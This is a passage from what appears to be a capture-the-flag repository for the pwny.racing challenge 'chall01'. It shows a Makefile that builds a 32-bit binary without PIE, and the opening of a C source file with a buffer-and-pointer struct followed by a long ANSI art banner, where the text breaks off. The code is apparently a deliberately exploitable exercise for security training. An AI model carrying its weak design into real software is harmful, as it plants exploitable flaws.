| lead them to the final exploitation. 111 | -------------------------------------------------------------------------------- /pwnyracing/chall01/dist/chall01.tar.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0xb0bb/ctf-challs/1ece7f764b1ecae7168334c508c4e6a339d845a6/pwnyracing/chall01/dist/chall01.tar.gz -------------------------------------------------------------------------------- /pwnyracing/chall01/src/Makefile: -------------------------------------------------------------------------------- 1 | CC=gcc 2 | 3 | CFLAGS=-s -m32 -no-pie -fstack-protector-all -Wno-sequence-point-Wall -Wno-unused-variable 4 | SRC=chall01.c 5 | OBJ=$(SRC:.c=.o) 6 | BIN=chall01 7 | 8 | all: 9 | $(MAKE) $(BIN) 10 | 11 | $(BIN): $(OBJ) 12 | $(CC) $(CFLAGS) $(OBJ) -o $@ 13 | 14 | .o: 15 | $(CC) $(CFLAGS) $< -o $@ 16 | 17 | challenge: all 18 | rm -f $(OBJ) 19 | 20 | clean: 21 | rm -f $(BIN) $(OBJ) -------------------------------------------------------------------------------- /pwnyracing/chall01/src/chall01.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | #define BUF_SIZE 64 9 | 10 | struct data { 11 | char buf[BUF_SIZE]; 12 | char *ptr; 13 | int guard; 14 | }; 15 | 16 | void banner(){ 17 | 18 | puts("\n \e[38;2;55;0;0m▄\e[38;2;90;0;0m▄\e[38;2;113;0;0m▄\e[38;2;124;0;0m▄\e[38;2;124;0;0m▄\e[48;2;61;0;0m\e[38;2;125;0;0m▄\e[48;2;70;0;0m\e[38;2;126;0;0m▄\e[48;2;79;0;0m\e[38;2;127;0;" \ 19 | "0m▄\e[48;2;82;0;0m\e[38;2;127;0;0m▄\e[48;2;80;0;0m\e[38;2;128;0;0m▄\e[48;2;76;0;0m\e[38;2;128;0;0m▄\e[48;2;62;0;0m\e[38;2;129;0;0m▄\e[0m\e[38;2;130;0;0m▄\e[38;2;131;0;0m▄\e[38;2;121;0;0m▄\e[38;2;10" \ 20 | "3;0;0m▄\e[38;2;71;0;0m▄\n \e[38;2;80;0;0m▄\e[38;2;59;0;0m▄\e[38;2;83;0;0m▀\e[48;2;91;0;0m\e[38;2;72;0;0m▄\e[48;2;113;0;0m\e[38;2;112;0;0m▄\e[48;2;124;0;0m\e[38;2;123;0;0m▄\e[48;2;124;0;0m" \ 21 | "\e[38;2;123;0;0m▄\e[48;2;124;0;0m\e[38;2;125;0;0m▄\e[48;2;124;0;0m\e[38;2;127;0;0m▄\e[48;2;124;0;0m\e[38;2;128;0;0m▄\e[48;2;125;0;0m\e[38;2;128;0;0m▄\e[48;2;126;0;0m\e[38;2;129;0;0m▄\e[48;2;126;0;0" \ 22 | "m\e[38;2;130;0;0m▄\e[48;2;127;0;0m\e[38;2;131;0;0m▄\e[48;2;128;0;0m\e[38;2;131;0;0m▄\e[48;2;129;0;0m\e[38;2;131;0;0m▄\e[48;2;129;0;0m\e[38;2;132;0;0m▄\e[48;2;131;0;0m\e[38;2;133;0;0m▄\e[48;2;132;0;" \ 23 | "0m\e[38;2;133;0;0m▄\e[48;2;133;0;0m\e[38;2;133;0;0m▄\e[48;2;134;0;0m\e[38;2;133;0;0m▄\e[48;2;134;0;0m\e[38;2;135;0;0m▄\e[48;2;114;0;0m\e[38;2;137;0;0m▄\e[48;2;69;0;0m\e[38;2;137;0;0m▄\e[0m\e[38;2;1" \ 24 | "31;0;0m▄\e[38;2;82;0;0m▄\n \e[38;2;69;0;0m▄\e[38;2;124;0;0m▄\e[48;2;103;0;0m\e[38;2;125;0;0m▄\e[48;2;124;0;0m\e[38;2;110;0;0m▄\e[48;2;125;0;0m\e[38;2;122;0;0m▄\e[48;2;126;0;0m\e[38;2;118;0" \ 25 | ";0m▄\e[48;2;127;0;0m\e[38;2;100;0;0m▄\e[48;2;128;0;0m\e[38;2;86;0;0m▄\e[48;2;127;0;0m\e[38;2;113;0;0m▄\e[48;2;128;0;0m\e[38;2;129;0;0m▄\e[48;2;129;0;0m\e[38;2;130;0;0m▄\e[48;2;130;0;0m\e[38;2;131;0" \ 26 | ";0m▄\e[48;2;131;0;0m\e[38;2;132;0;0m▄\e[48;2;131;0;0m\e[38;2;133;0;0m▄\e[48;2;132;0;0m\e[38;2;133;0;0m▄\e[48;2;133;0;0m\e[38;2;134;0;0m▄\e[48;2;134;0;0m\e[38;2;134;0;0m▄\e[48;2;134;0;0m\e[38;2;135;" \ 27 | "0;0m▄\e[48;2;135;0;0m\e[38;2;136;0;0m▄\e[48;2;135;0;0m\e[38;2;137;0;0m▄\e[48;2;136;0;0m\e[38;2;137;0;0m▄\e[48;2;137;0;0m\e[38;2;138;0;0m▄\e[48;2;136;0;0m\e[38;2;139;0;0m▄\e[48;2;136;0;0m\e[38;2;140" \ 28 | ";0;0m▄\e[48;2;139;0;0m\e[38;2;139;0;0m▄\e[48;2;140;0;0m\e[38;2;138;0;0m▄\e[48;2;135;0;0m\e[38;2;141;0;0m▄\e[48;2;81;0;0m\e[38;2;142;0;0m▄\e[0m\e[38;2;133;0;0m▄\e[38;2;62;0;0m▄\n \e[38;2;98;0" \ 29 | ";0m▄\e[48;2;92;0;0m\e[38;2;99;0;0m▄\e[0m\e[38;2;124;0;0m▀\e[38;2;84;0;0m▀\e[38;2;78;0;0m▄\e[48;2;71;0;0m\e[38;2;128;0;0m▄\e[48;2;116;0;0m\e[38;2;126;0;0m▄\e[48;2;53;0;0m\e[38;2;128;0;0m▄\e[48;2;66;" \ 30 | "0;0m\e[38;2;130;0;0m▄\e[48;2;109;0;0m\e[38;2;131;0;0m▄\e[48;2;131;0;0m\e[38;2;131;0;0m▄\e[48;2;130;0;0m\e[38;2;132;0;0m▄\e[48;2;131;0;0m\e[38;2;133;0;0m▄\e[48;2;132;0;0m\e[38;2;134;0;0m▄\e[48;2;133" \ 31 | ";0;0m\e[38;2;134;0;0m▄\e[48;2;134;0;0m\e[38;2;135;0;0m▄\e[48;2;134;0;0m\e[38;2;135;0;0m▄\e[48;2;135;0;0m\e[38;2;136;0;0m▄\e[48;2;136;0;0m\e[38;2;137;0;0m▄\e[48;2;137;0;0m\e[38;2;137;0;0m▄\e[48;2;13" \ 32 | "7;0;0m\e[38;2;138;0;0m▄\e[48;2;137;0;0m\e[38;2;139;0;0m▄\e[48;2;138;0;0m\e[38;2;140;0;0m▄\e[48;2;139;0;0m\e[38;2;140;0;0m▄\e[48;2;140;0;0m\e[38;2;141;0;0m▄\e[48;2;140;0;0m\e[38;2;142;0;0m▄\e[48;2;1" \ 33 | "41;0;0m\e[38;2;143;0;0m▄\e[48;2;142;0;0m\e[38;2;143;0;0m▄\e[48;2;142;0;0m\e[38;2;143;0;0m▄\e[48;2;141;0;0m\e[38;2;144;0;0m▄\e[48;2;144;0;0m\e[38;2;144;0;0m▄\e[48;2;144;0;0m\e[38;2;144;0;0m▄\e[48;2;" \ 34 | "105;0;0m\e[38;2;146;0;0m▄\e[0m\e[38;2;135;0;0m▄\e[38;2;49;0;0m▄\n \e[38;2;56;0;0m▄\e[38;2;84;0;0m▀\e[38;2;59;0;0m▀ \e[38;2;79;0;0m▄\e[48;2;96;0;0m\e[38;2;129;0;0m▄\e[48;2;128;0;0m\e[38;2;125;0" \ 35 | ";0m▄\e[48;2;127;0;0m\e[38;2;131;0;0m▄\e[48;2;130;0;0m\e[38;2;131;0;0m▄\e[48;2;131;0;0m\e[38;2;131;0;0m▄\e[48;2;129;0;0m\e[38;2;132;0;0m▄\e[48;2;131;0;0m\e[38;2;133;0;0m▄\e[48;2;133;0;0m\e[38;2;134;" \ 36 | "0;0m▄\e[48;2;134;0;0m\e[38;2;134;0;0m▄\e[48;2;134;0;0m\e[38;2;135;0;0m▄\e[48;2;134;0;0m\e[38;2;136;0;0m▄\e[48;2;135;0;0m\e[38;2;137;0;0m▄\e[48;2;136;0;0m\e[38;2;137;0;0m▄\e[48;2;137;0;0m\e[38;2;138" \ 37 | ";0;0m▄\e[48;2;137;0;0m\e[38;2;138;0;0m▄\e[48;2;138;0;0m\e[38;2;139;0;0m▄\e[48;2;139;0;0m\e[38;2;140;0;0m▄\e[48;2;140;0;0m\e[38;2;140;0;0m▄\e[48;2;140;0;0m\e[38;2;141;0;0m▄\e[48;2;140;0;0m\e[38;2;14" \ 38 | "2;0;0m▄\e[48;2;141;0;0m\e[38;2;143;0;0m▄\e[48;2;142;0;0m\e[38;2;143;0;0m▄\e[48;2;143;0;0m\e[38;2;140;0;0m▄\e[48;2;142;0;0m\e[38;2;145;0;0m▄\e[48;2;143;0;0m\e[38;2;146;0;0m▄\e[48;2;145;0;0m\e[38;2;1" \ 39 | "45;0;0m▄\e[48;2;146;0;0m\e[38;2;146;0;0m▄\e[48;2;146;0;0m\e[38;2;147;0;0m▄\e[48;2;146;0;0m\e[38;2;148;0;0m▄\e[48;2;145;0;0m\e[38;2;149;0;0m▄\e[48;2;148;0;0m\e[38;2;148;0;0m▄\e[48;2;149;0;0m\e[38;2;" \ 40 | "148;0;0m▄\e[48;2;80;0;0m\e[38;2;151;0;0m▄\e[0m\e[38;2;98;0;0m▄\n \e[48;2;129;0;0m\e[38;2;129;0;0m▄\e[48;2;94;0;0m\e[38;2;65;0;0m▄\e[48;2;103;0;0m\e[38;2;124;0;0m▄\e[48;2;131;0;0m\e[38;2;13" \ 41 | "3;0;0m▄\e[48;2;131;0;0m\e[38;2;133;0;0m▄\e[48;2;133;0;0m\e[38;2;134;0;0m▄\e[48;2;134;0;0m\e[38;2;133;0;0m▄\e[48;2;134;0;0m\e[38;2;135;0;0m▄\e[48;2;134;0;0m\e[38;2;116;0;0m▄\e[48;2;135;0;0m\e[38;2;1" \ 42 | "33;0;0m▄\e[48;2;136;0;0m\e[38;2;136;0;0m▄\e[48;2;137;0;0m\e[38;2;138;0;0m▄\e[48;2;137;0;0m\e[38;2;139;0;0m▄\e[48;2;138;0;0m\e[38;2;140;0;0m▄\e[48;2;139;0;0m\e[38;2;140;0;0m▄\e[48;2;140;0;0m\e[38;2;" \ 43 | "140;0;0m▄\e[48;2;140;0;0m\e[38;2;141;0;0m▄\e[48;2;141;0;0m\e[38;2;142;0;0m▄\e[48;2;142;0;0m\e[38;2;143;0;0m▄\e[48;2;143;0;0m\e[38;2;143;0;0m▄\e[48;2;143;0;0m\e[38;2;144;0;0m▄\e[48;2;142;0;0m\e[38;2" \ 44 | ";145;0;0m▄\e[48;2;143;0;0m\e[38;2;145;0;0m▄\e[48;2;131;0;0m\e[38;2;146;0;0m▄\e[48;2;108;0;0m\e[38;2;129;0;0m▄\e[48;2;137;0;0m\e[38;2;89;0;0m▄\e[48;2;147;0;0m\e[38;2;108;0;0m▄\e[48;2;146;0;0m\e[38;2" \ 45 | ";149;0;0m▄\e[48;2;148;0;0m\e[38;2;149;0;0m▄\e[48;2;149;0;0m\e[38;2;148;0;0m▄\e[48;2;149;0;0m\e[38;2;151;0;0m▄\e[48;2;150;0;0m\e[38;2;152;0;0m▄\e[48;2;151;0;0m\e[38;2;152;0;0m▄\e[48;2;149;0;0m\e[38;" \ 46 | "2;152;0;0m▄\e[48;2;152;0;0m\e[38;2;150;0;0m▄\e[48;2;111;0;0m\e[38;2;154;0;0m▄\e[0m\e[38;2;117;0;0m▄\n \e[48;2;67;0;0m\e[38;2;129;0;0m▄\e[48;2;131;0;0m\e[38;2;132;0;0m▄\e[48;2;132;0;0m\e[38;" \ 47 | "2;133;0;0m▄\e[48;2;133;0;0m\e[38;2;134;0;0m▄\e[48;2;134;0;0m\e[38;2;134;0;0m▄\e[48;2;134;0;0m\e[38;2;134;0;0m▄\e[48;2;135;0;0m\e[38;2;132;0;0m▄\e[48;2;135;0;0m\e[38;2;137;0;0m▄\e[48;2;133;0;0m\e[38" \ 48 | ";2;94;0;0m▄\e[0m\e[38;2;120;0;0m▀\e[48;2;138;0;0m\e[38;2;83;0;0m▄\e[48;2;138;0;0m\e[38;2;126;0;0m▄\e[48;2;137;0;0m\e[38;2;140;0;0m▄\e[48;2;140;0;0m\e[38;2;141;0;0m▄\e[48;2;140;0;0m\e[38;2;141;0;0m▄" \ 49 | "\e[48;2;141;0;0m\e[38;2;143;0;0m▄\e[48;2;142;0;0m\e[38;2;143;0;0m▄\e[48;2;143;0;0m\e[38;2;143;0;0m▄\e[48;2;143;0;0m\e[38;2;144;0;0m▄\e[48;2;144;0;0m\e[38;2;145;0;0m▄\e[48;2;145;0;0m\e[38;2;146;0;0m" \ 50 | "▄\e[48;2;146;0;0m\e[38;2;146;0;0m▄\e[48;2;146;0;0m\e[38;2;147;0;0m▄\e[48;2;146;0;0m\e[38;2;148;0;0m▄\e[48;2;146;0;0m\e[38;2;149;0;0m▄\e[48;2;148;0;0m\e[38;2;148;0;0m▄\e[48;2;145;0;0m\e[38;2;149;0;0" \ 51 | "m▄\e[48;2;77;0;0m\e[38;2;150;0;0m▄\e[48;2;63;0;0m\e[38;2;89;0;0m▄\e[0m\e[38;2;143;0;0m▀\e[48;2;152;0;0m\e[38;2;110;0;0m▄\e[48;2;150;0;0m\e[38;2;153;0;0m▄\e[48;2;151;0;0m\e[38;2;154;0;0m▄\e[48;2;153" \ 52 | ";0;0m\e[38;2;153;0;0m▄\e[48;2;154;0;0m\e[38;2;155;0;0m▄\e[48;2;155;0;0m\e[38;2;155;0;0m▄\e[48;2;153;0;0m\e[38;2;156;0;0m▄\e[48;2;156;0;0m\e[38;2;155;0;0m▄\e[48;2;125;0;0m\e[38;2;158;0;0m▄\e[0m\e[38" \ 53 | ";2;131;0;0m▄\e[0m pwny.racing presents... \n \e[38;2;78;0;0m▄\e[48;2;107;0;0m\e[38;2;134;0;0m▄\e[48;2;134;0;0m\e[38;2;133;0;0m▄\e[48;2;132;0;0m\e[38;2;135;0;0m▄\e[48;2;134;0;0m\e[38;2;1" \ 54 | "35;0;0m▄\e[48;2;133;0;0m\e[38;2;137;0;0m▄\e[48;2;136;0;0m\e[38;2;128;0;0m▄\e[48;2;137;0;0m\e[38;2;104;0;0m▄\e[48;2;137;0;0m\e[38;2;73;0;0m▄\e[0m\e[38;2;119;0;0m▀ \e[38;2;73;0;0m▀\e[38;2;141;0;0m" \ 55 | "▀\e[48;2;143;0;0m\e[38;2;140;0;0m▄\e[48;2;142;0;0m\e[38;2;144;0;0m▄\e[48;2;144;0;0m\e[38;2;145;0;0m▄\e[48;2;145;0;0m\e[38;2;146;0;0m▄\e[48;2;146;0;0m\e[38;2;146;0;0m▄\e[48;2;146;0;0m\e[38;2;147;0;0" \ 56 | "m▄\e[48;2;146;0;0m\e[38;2;148;0;0m▄\e[48;2;147;0;0m\e[38;2;149;0;0m▄\e[48;2;148;0;0m\e[38;2;149;0;0m▄\e[48;2;149;0;0m\e[38;2;150;0;0m▄\e[48;2;149;0;0m\e[38;2;151;0;0m▄\e[48;2;150;0;0m\e[38;2;152;0;" \ 57 | "0m▄\e[48;2;151;0;0m\e[38;2;152;0;0m▄\e[48;2;150;0;0m\e[38;2;152;0;0m▄\e[48;2;152;0;0m\e[38;2;150;0;0m▄\e[48;2;111;0;0m\e[38;2;154;0;0m▄\e[0m\e[38;2;128;0;0m▄\e[38;2;63;0;0m▀\e[38;2;148;0;0m▀\e[48;2" \ 58 | ";155;0;0m\e[38;2;111;0;0m▄\e[48;2;154;0;0m\e[38;2;158;0;0m▄\e[48;2;156;0;0m\e[38;2;158;0;0m▄\e[48;2;158;0;0m\e[38;2;157;0;0m▄\e[48;2;158;0;0m\e[38;2;158;0;0m▄\e[48;2;156;0;0m\e[38;2;160;0;0m▄\e[48;" \ 59 | "2;159;0;0m\e[38;2;144;0;0m▄\e[48;2;145;0;0m\e[38;2;141;0;0m▄\e[0m\e[38;2;160;0;0m▄\e[38;2;59;0;0m▄\n \e[38;2;68;0;0m▄\e[48;2;120;0;0m\e[38;2;115;0;0m▄\e[48;2;134;0;0m\e[38;2;122;0;0m▄\e[48;2;13" \ 60 | "3;0;0m\e[38;2;136;0;0m▄\e[48;2;136;0;0m\e[38;2;135;0;0m▄\e[48;2;136;0;0m\e[38;2;136;0;0m▄\e[48;2;137;0;0m\e[38;2;96;0;0m▄\e[0m\e[38;2;95;0;0m▀ \e[38;2;80;0;0m▄\e[38;2;104;0;0m▄\e[38;2;67;0;0m▄ " \ 61 | " \e[38;2;49;0;0m▀\e[48;2;146;0;0m\e[38;2;93;0;0m▄\e[48;2;144;0;0m\e[38;2;147;0;0m▄\e[48;2;147;0;0m\e[38;2;148;0;0m▄\e[48;2;148;0;0m\e[38;2;149;0;0m▄\e[48;2;149;0;0m\e[38;2;149;0;0m▄\e[48;2;149;0;0m" \ 62 | "\e[38;2;150;0;0m▄\e[48;2;149;0;0m\e[38;2;151;0;0m▄\e[48;2;150;0;0m\e[38;2;152;0;0m▄\e[48;2;151;0;0m\e[38;2;152;0;0m▄\e[48;2;152;0;0m\e[38;2;152;0;0m▄\e[48;2;152;0;0m\e[38;2;153;0;0m▄\e[48;2;153;0;0" \ 63 | "m\e[38;2;155;0;0m▄\e[48;2;154;0;0m\e[38;2;155;0;0m▄\e[48;2;155;0;0m\e[38;2;155;0;0m▄\e[48;2;153;0;0m\e[38;2;156;0;0m▄\e[48;2;155;0;0m\e[38;2;155;0;0m▄\e[48;2;141;0;0m\e[38;2;158;0;0m▄\e[48;2;73;0;0" \ 64 | "m\e[38;2;138;0;0m▄\e[0m\e[38;2;93;0;0m▄\e[48;2;65;0;0m\e[38;2;62;0;0m▄\e[0m\e[38;2;156;0;0m▀\e[48;2;160;0;0m\e[38;2;124;0;0m▄\e[48;2;159;0;0m\e[38;2;161;0;0m▄\e[48;2;160;0;0m\e[38;2;162;0;0m▄\e[48;" \ 65 | "2;160;0;0m\e[38;2;161;0;0m▄\e[48;2;130;0;0m\e[38;2;164;0;0m▄\e[48;2;111;0;0m\e[38;2;136;0;0m▄\e[48;2;160;0;0m\e[38;2;81;0;0m▄\e[48;2;107;0;0m\e[38;2;123;0;0m▄\e[0m\e[38;2;150;0;0m▄\e[38;2;68;0;0m▄ " \ 66 | " \e[38;2;62;0;0m▄\n \e[38;2;71;0;0m▀\e[48;2;131;0;0m\e[38;2;137;0;0m▄\e[48;2;134;0;0m\e[38;2;75;0;0m▄\e[48;2;109;0;0m\e[38;2;97;0;0m▄\e[48;2;136;0;0m\e[38;2;138;0;0m▄\e[48;" \ 67 | "2;139;0;0m\e[38;2;132;0;0m▄\e[0m \e[38;2;100;0;0m▄\e[48;2;121;0;0m\e[38;2;143;0;0m▄\e[48;2;142;0;0m\e[38;2;139;0;0m▄\e[48;2;143;0;0m\e[38;2;142;0;0m▄\e[48;2;143;0;0m\e[38;2;142;0;0m▄\e[48;2;138;0;" \ 68 | "0m\e[38;2;145;0;0m▄\e[48;2;113;0;0m\e[38;2;146;0;0m▄\e[48;2;85;0;0m\e[38;2;146;0;0m▄\e[48;2;52;0;0m\e[38;2;147;0;0m▄\e[0m\e[38;2;148;0;0m▄\e[38;2;136;0;0m▄\e[38;2;115;0;0m▄\e[48;2;124;0;0m\e[38;2;1" \ 69 | "06;0;0m▄\e[48;2;146;0;0m\e[38;2;129;0;0m▄\e[48;2;149;0;0m\e[38;2;151;0;0m▄\e[48;2;151;0;0m\e[38;2;151;0;0m▄\e[48;2;152;0;0m\e[38;2;152;0;0m▄\e[48;2;152;0;0m\e[38;2;153;0;0m▄\e[48;2;152;0;0m\e[38;2;" \ 70 | "154;0;0m▄\e[48;2;153;0;0m\e[38;2;155;0;0m▄\e[48;2;154;0;0m\e[38;2;155;0;0m▄\e[48;2;155;0;0m\e[38;2;155;0;0m▄\e[48;2;155;0;0m\e[38;2;156;0;0m▄\e[48;2;156;0;0m\e[38;2;157;0;0m▄\e[48;2;157;0;0m\e[38;2" \ 71 | ";158;0;0m▄\e[48;2;158;0;0m\e[38;2;158;0;0m▄\e[48;2;158;0;0m\e[38;2;159;0;0m▄\e[48;2;156;0;0m\e[38;2;160;0;0m▄\e[48;2;159;0;0m\e[38;2;159;0;0m▄\e[48;2;132;0;0m\e[38;2;161;0;0m▄\e[48;2;107;0;0m\e[38;" \ 72 | "2;128;0;0m▄\e[48;2;114;0;0m\e[38;2;107;0;0m▄\e[0m\e[38;2;155;0;0m▄\e[48;2;72;0;0m\e[38;2;54;0;0m▄\e[0m\e[38;2;160;0;0m▀\e[48;2;164;0;0m\e[38;2;107;0;0m▄\e[48;2;162;0;0m\e[38;2;166;0;0m▄\e[48;2;165;" \ 73 | "0;0m\e[38;2;167;0;0m▄\e[48;2;158;0;0m\e[38;2;167;0;0m▄\e[48;2;83;0;0m\e[38;2;167;0;0m▄\e[48;2;64;0;0m\e[38;2;129;0;0m▄\e[48;2;133;0;0m\e[38;2;56;0;0m▄\e[48;2;141;0;0m\e[38;2;58;0;0m▄\e[48;2;74;0;0m" \ 74 | "\e[38;2;114;0;0m▄\e[0m\e[38;2;140;0;0m▄\e[38;2;118;0;0m▄\e[38;2;79;0;0m▄ \e[38;2;73;0;0m▄\e[38;2;80;0;0m▄\e[38;2;73;0;0m▀\n \e[38;2;71;0;0m▀ \e[38;2;140;0;0m▀\e[38;2;140;0;0m▀\e[" \ 75 | "38;2;64;0;0m▀\e[38;2;110;0;0m▄\e[48;2;99;0;0m\e[38;2;143;0;0m▄\e[48;2;143;0;0m\e[38;2;141;0;0m▄\e[48;2;141;0;0m\e[38;2;145;0;0m▄\e[48;2;143;0;0m\e[38;2;146;0;0m▄\e[48;2;143;0;0m\e[38;2;146;0;0m▄\e[" \ 76 | "48;2;144;0;0m\e[38;2;146;0;0m▄\e[48;2;144;0;0m\e[38;2;147;0;0m▄\e[48;2;144;0;0m\e[38;2;148;0;0m▄\e[48;2;146;0;0m\e[38;2;148;0;0m▄\e[48;2;147;0;0m\e[38;2;147;0;0m▄\e[48;2;149;0;0m\e[38;2;149;0;0m▄\e" \ 77 | "[48;2;149;0;0m\e[38;2;150;0;0m▄\e[48;2;150;0;0m\e[38;2;150;0;0m▄\e[48;2;151;0;0m\e[38;2;150;0;0m▄\e[48;2;152;0;0m\e[38;2;151;0;0m▄\e[48;2;152;0;0m\e[38;2;153;0;0m▄\e[48;2;152;0;0m\e[38;2;154;0;0m▄" \ 78 | "\e[48;2;153;0;0m\e[38;2;155;0;0m▄\e[48;2;155;0;0m\e[38;2;155;0;0m▄\e[48;2;155;0;0m\e[38;2;156;0;0m▄\e[48;2;155;0;0m\e[38;2;157;0;0m▄\e[48;2;156;0;0m\e[38;2;158;0;0m▄\e[48;2;157;0;0m\e[38;2;158;0;0m" \ 79 | "▄\e[48;2;158;0;0m\e[38;2;158;0;0m▄\e[48;2;158;0;0m\e[38;2;159;0;0m▄\e[48;2;159;0;0m\e[38;2;160;0;0m▄\e[48;2;160;0;0m\e[38;2;161;0;0m▄\e[48;2;161;0;0m\e[38;2;161;0;0m▄\e[48;2;161;0;0m\e[38;2;162;0;0" \ 80 | "m▄\e[48;2;161;0;0m\e[38;2;163;0;0m▄\e[48;2;160;0;0m\e[38;2;164;0;0m▄\e[48;2;163;0;0m\e[38;2;162;0;0m▄\e[48;2;123;0;0m\e[38;2;164;0;0m▄\e[48;2;100;0;0m\e[38;2;113;0;0m▄\e[48;2;165;0;0m\e[38;2;96;0;0" \ 81 | "m▄\e[48;2;114;0;0m\e[38;2;167;0;0m▄\e[0m\e[38;2;165;0;0m▄\e[38;2;91;0;0m▄\e[38;2;114;0;0m▀\e[38;2;168;0;0m▀\e[48;2;169;0;0m\e[38;2;91;0;0m▄\e[48;2;170;0;0m\e[38;2;150;0;0m▄\e[48;2;170;0;0m\e[38;2;1" \ 82 | "72;0;0m▄\e[48;2;121;0;0m\e[38;2;172;0;0m▄\e[48;2;55;0;0m\e[38;2;173;0;0m▄\e[0m\e[38;2;165;0;0m▄\e[48;2;53;0;0m\e[38;2;120;0;0m▄\e[48;2;81;0;0m\e[38;2;79;0;0m▄\e[48;2;95;0;0m\e[38;2;51;0;0m▄\e[0m\e[" \ 83 | "38;2;97;0;0m▀\e[38;2;83;0;0m▀\e[38;2;63;0;0m▀\e[38;2;58;0;0m▄\e[38;2;87;0;0m▄\e[38;2;119;0;0m▄\e[38;2;133;0;0m▄\e[48;2;65;0;0m\e[38;2;92;0;0m▄\e[0m\e[38;2;97;0;0m▀ \e[38;2;57;0;0m▄\e[38;2;153;0;0m" \ 84 | "▄\e[48;2;113;0;0m\e[38;2;71;0;0m▄\e[0m\e[38;2;84;0;0m▀ \e[38;2;84;0;0m▄\n \e[38;2;130;0;0m▄\e[48;2;122;0;0m\e[38;2;144;0;0m▄\e[48;2;143;0;0m\e[38;2;144;0;0m▄\e[48;2;141;0;0m\e[38;2;146;" \ 85 | "0;0m▄\e[48;2;145;0;0m\e[38;2;111;0;0m▄\e[48;2;146;0;0m\e[38;2;82;0;0m▄\e[48;2;120;0;0m\e[38;2;91;0;0m▄\e[48;2;99;0;0m\e[38;2;123;0;0m▄\e[48;2;105;0;0m\e[38;2;103;0;0m▄\e[0m\e[38;2;111;0;0m▀\e[38;2;" \ 86 | "131;0;0m▀\e[38;2;149;0;0m▀\e[48;2;150;0;0m\e[38;2;89;0;0m▄\e[48;2;152;0;0m\e[38;2;138;0;0m▄\e[48;2;150;0;0m\e[38;2;153;0;0m▄\e[48;2;151;0;0m\e[38;2;154;0;0m▄\e[48;2;153;0;0m\e[38;2;153;0;0m▄\e[48;2" \ 87 | ";154;0;0m\e[38;2;155;0;0m▄\e[48;2;155;0;0m\e[38;2;155;0;0m▄\e[48;2;155;0;0m\e[38;2;156;0;0m▄\e[48;2;155;0;0m\e[38;2;157;0;0m▄\e[48;2;156;0;0m\e[38;2;158;0;0m▄\e[48;2;157;0;0m\e[38;2;158;0;0m▄\e[48;" \ 88 | "2;158;0;0m\e[38;2;159;0;0m▄\e[48;2;158;0;0m\e[38;2;160;0;0m▄\e[48;2;159;0;0m\e[38;2;161;0;0m▄\e[48;2;160;0;0m\e[38;2;161;0;0m▄\e[48;2;161;0;0m\e[38;2;161;0;0m▄\e[48;2;161;0;0m\e[38;2;162;0;0m▄\e[48" \ 89 | ";2;161;0;0m\e[38;2;163;0;0m▄\e[48;2;162;0;0m\e[38;2;164;0;0m▄\e[48;2;163;0;0m\e[38;2;164;0;0m▄\e[48;2;164;0;0m\e[38;2;165;0;0m▄\e[48;2;164;0;0m\e[38;2;166;0;0m▄\e[48;2;165;0;0m\e[38;2;166;0;0m▄\e[4" \ 90 | "8;2;164;0;0m\e[38;2;167;0;0m▄\e[48;2;167;0;0m\e[38;2;165;0;0m▄\e[48;2;99;0;0m\e[38;2;168;0;0m▄\e[48;2;96;0;0m\e[38;2;91;0;0m▄\e[48;2;168;0;0m\e[38;2;94;0;0m▄\e[48;2;169;0;0m\e[38;2;170;0;0m▄\e[48;2" \ 91 | ";162;0;0m\e[38;2;171;0;0m▄\e[48;2;91;0;0m\e[38;2;172;0;0m▄\e[0m\e[38;2;171;0;0m▄\e[38;2;120;0;0m▄\e[38;2;53;0;0m▄\e[38;2;80;0;0m▀\e[38;2;119;0;0m▀\e[38;2;151;0;0m▀\e[38;2;170;0;0m▀\e[38;2;176;0;0m▀" \ 92 | "\e[38;2;176;0;0m▀\e[38;2;176;0;0m▀\e[38;2;165;0;0m▀\e[38;2;158;0;0m▀\e[38;2;140;0;0m▀\e[38;2;112;0;0m▀\e[38;2;65;0;0m▀ \e[38;2;56;0;0m▄\e[38;2;129;0;0m▄\e[38;2;185;0;0m▄\e[48;2;131;0;0m\e[38;2;134;" \ 93 | "0;0m▄\e[0m\e[38;2;163;0;0m▀ \e[38;2;61;0;0m▄\e[48;2;97;0;0m\e[38;2;141;0;0m▄\e[0m\e[38;2;53;0;0m▀\n \e[38;2;135;0;0m▄\e[48;2;133;0;0m\e[38;2;144;0;0m▄\e[48;2;145;0;0m\e[38;2;146;0;0m▄\e[" \ 94 | "48;2;146;0;0m\e[38;2;120;0;0m▄\e[0m\e[38;2;137;0;0m▀\e[48;2;79;0;0m\e[38;2;97;0;0m▄\e[48;2;100;0;0m\e[38;2;149;0;0m▄\e[48;2;139;0;0m\e[38;2;149;0;0m▄\e[48;2;149;0;0m\e[38;2;93;0;0m▄\e[48;2;103;0;0m" \ 95 | "\e[38;2;55;0;0m▄\e[0m\e[38;2;59;0;0m▄ \e[38;2;81;0;0m▀\e[38;2;154;0;0m▀\e[48;2;155;0;0m\e[38;2;123;0;0m▄\e[48;2;154;0;0m\e[38;2;157;0;0m▄\e[48;2;157;0;0m\e[38;2;157;0;0m▄\e[48;2;158;0;0m\e[38;2" \ 96 | ";157;0;0m▄\e[48;2;158;0;0m\e[38;2;159;0;0m▄\e[48;2;158;0;0m\e[38;2;160;0;0m▄\e[48;2;159;0;0m\e[38;2;161;0;0m▄\e[48;2;160;0;0m\e[38;2;161;0;0m▄\e[48;2;161;0;0m\e[38;2;162;0;0m▄\e[48;2;161;0;0m\e[38;" \ 97 | "2;162;0;0m▄\e[48;2;162;0;0m\e[38;2;163;0;0m▄\e[48;2;163;0;0m\e[38;2;164;0;0m▄\e[48;2;164;0;0m\e[38;2;164;0;0m▄\e[48;2;164;0;0m\e[38;2;165;0;0m▄\e[48;2;164;0;0m\e[38;2;166;0;0m▄\e[48;2;165;0;0m\e[38" \ 98 | ";2;167;0;0m▄\e[48;2;166;0;0m\e[38;2;167;0;0m▄\e[48;2;167;0;0m\e[38;2;168;0;0m▄\e[48;2;167;0;0m\e[38;2;169;0;0m▄\e[48;2;168;0;0m\e[38;2;169;0;0m▄\e[48;2;169;0;0m\e[38;2;170;0;0m▄\e[48;2;168;0;0m\e[3" \ 99 | 